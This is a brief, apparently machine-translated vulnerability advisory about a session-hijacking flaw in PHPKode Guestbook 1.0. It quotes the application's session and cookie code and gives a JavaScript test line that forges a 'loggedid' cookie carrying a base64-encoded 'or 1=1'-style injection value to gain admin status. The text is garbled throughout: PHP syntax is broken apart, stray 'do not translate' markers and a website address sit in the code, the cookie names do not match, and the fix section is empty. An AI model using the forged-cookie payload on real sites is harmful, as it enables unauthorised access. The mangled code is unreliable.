PHPKode Guestbook 1.0 Session Hijacking Vulnerability
---------------------------------------------------------
Author: bd0rk
Contact: bd0rk [at] hackermail.com www.2cto.com
Greetz: Perle, Zubair Anjum, 1930-Team (Manu, Jenny, Manni & Conny)
Test Platform: Ubuntu-Linux
Affected Software Version: PHPKode Guestbook 1.0
Software developer: http://www.phpkode.com
: Http://www.phpkode.com/download/p/PHPKodeGuestbook_1.0.zip
[Do not translate «««««««««««««««««««««««««««««««««««««««« [do not translate «««««««««««««««««««««««««««««««««««««
Kode_author.php page defect code analysis:
@ Session_start ();
Function Logged (){
If (isset ($ _ SESSION ['logdid']) & isset ($ _ SESSION ['adminuser']) {
Return TRUE;
}
Else {
Return FALSE;
}
}
Function get_visitor_key (){
Www.2cto.com if (isset ($ _ COOKIE ["visitor_key"]) &! Empty ($ _ COOKIE ["visitor_key"]) {
$ Visitor_key = $ _ COOKIE ["visitor_key"];
}
Else {
$ Visitor_key = "None ";
}
Return $ visitor_key;
}
[Do not translate «««««««««««««««««««««««««««««««««««««««« [do not translate «««««««««««««««««««««««««««««««««««««
Test method:
Javascript.doc ument. cookie = "loggedid = YmFzdXJhYWFhMTpvciAxPTFiYXJ1cmFhYWFhYQ ==; path = /";
Fix:
See the above analysis